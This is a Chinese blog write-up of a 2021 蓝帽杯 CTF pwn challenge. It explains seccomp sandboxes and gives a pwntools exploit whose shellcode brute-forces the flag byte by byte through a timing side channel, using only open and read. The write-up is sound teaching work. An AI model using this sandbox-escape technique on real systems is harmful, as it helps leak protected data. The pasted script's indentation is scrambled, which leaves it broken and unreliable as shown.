

2021 蓝帽杯 pwn slient

原创

白日梦-想家  于 2021-04-29 21:12:00 发布  346  收藏 1

分类专栏: [wp](#) 文章标签: [pwn](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_51298357/article/details/116277134

版权



[wp 专栏收录该内容](#)

1 篇文章 0 订阅

订阅专栏

2021 蓝帽杯 pwn slient

这道题不是第一个上的pwn题, 第一道太难了, 第二个一出来就去看第二个题了==
一个沙箱绕过的题, 以前没写过类似的, 当场也没有写出来, 于是复现一下。

前置知识

seccomp概述

restrict模式: SECCOMP_SET_MODE_STRICT

- 白名单: read, write, _exit, sigreturn
- 除了已经打开的文件描述符和允许的系统调用, 如果发起其他系统调用, 内核会使用SIGKILL或SIGSYS终止进程

filter模式: SECCOMP_SET_MODE_FILTER

- Seccomp-Berkley Packet Filter
- 允许用户使用可配置的策略过滤系统调用
- 使用BPF规则自定义测量

BPF定义了一个伪机器, 可以执行代码

- 可对任意系统调用及其参数进行过滤

seccomp-bpf.h设置sandbox:使用该头文件, 内置宏定义可直接设定白名单

prctl设置sandbox流程:

定义filter数组 -> 定义prog参数 -> prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)

libseccomp设置sandbox

常见绕过思路: orw

刚看这个题的时候，没觉得难，寒假写过一个类似的，就打算orw了，但是没想到write也被ban了TAT。后来看了学长的exp（嗯，我已经菜到面向exp打题了。。。），得知了一种通过cmp指令爆破flag的方法，此外这个题也没什么别的了，记录一下这个题的正确流程吧

- 先例行检查，保护全开
- 题目里一开始有mmap函数，同时加上随题有个.txt文件说了flag的位置，想到了orw
- 检查一下seccomp规则，白名单只有read和open，（连openat, readv, writev这些都用了。。）

```

daydreamer@daydreamer-virtual-machine: ~/附件
syscall.rb:34:in `initialize'
  2: from /var/lib/gems/2.7.0/gems/seccomp-tools-1.5.0/lib/seccomp-tools/
syscall.rb:65:in `arch'
  1: from /var/lib/gems/2.7.0/gems/seccomp-tools-1.5.0/lib/seccomp-tools/
syscall.rb:65:in `open'
/var/lib/gems/2.7.0/gems/seccomp-tools-1.5.0/lib/seccomp-tools/syscall.rb:65:in
`initialize': Permission denied @ rb_sysopen - /proc/142612/exe (Errno::EACCES)
daydreamer@daydreamer-virtual-machine:~/附件$ sudo seccomp-tools dump '/home/day
dreamer/附件/chall'
[sudo] daydreamer 的密码:
Welcome to silent execution-box.
aaa
line  CODE  JT  JF  K
=====
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x00000000  if (A == read) goto 0007
0006: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0008: 0x06 0x00 0x00 0x00000000  return KILL
daydreamer@daydreamer-virtual-machine:~/附件$

```

所以只能按照上面说的思路写

exp:

```

from pwn import *

EXCV = context.binary = './chall'
e = ELF(EXCV)

if args.I:
    context.log_level = 'debug'

def pwn(p, index, ch):
    # open
    shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"

    # re open, rax => 4
    shellcode += "push 2; pop rax; syscall;"

    # read(rax, 0x10040, 0x50)

```

```

shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall"
;"

# cmp and jz
if index == 0:
    shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
    shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)

shellcode = asm(shellcode)

p.sendafter("Welcome to silent execution-box.\n", shellcode.ljust(0x40-14, b'a') + b'/home/pwn/flag')

index = 14

ans = []

while True:
    for ch in range(0x20,127):
        ch = chr(ch)
        ch =ord(ch)
        print(chr(ch))
        if 1:
            p = remote('8.140.177.7',40334)
        else:
            p = process(EXCV)
            pwn(p, index, ch)
            start = time.time()
            try:
                p.recv(timeout=2)
            except:
                pass
            end = time.time()
            p.close()
            if end-start > 1.5:
                ans.append(ch)
                print("".join([chr(i) for i in ans]))
                break
        else:
            print("".join([chr(i) for i in ans]))
            break
    index=index +1

print("".join([chr(i) for i in ans]))

```

唯一一点问题是一次只能爆破出来几位flag，运气不好的时候有可能1位都不行==，就得多爆破几遍。

汇编最好手写，，复现的时候用的python模块就失败了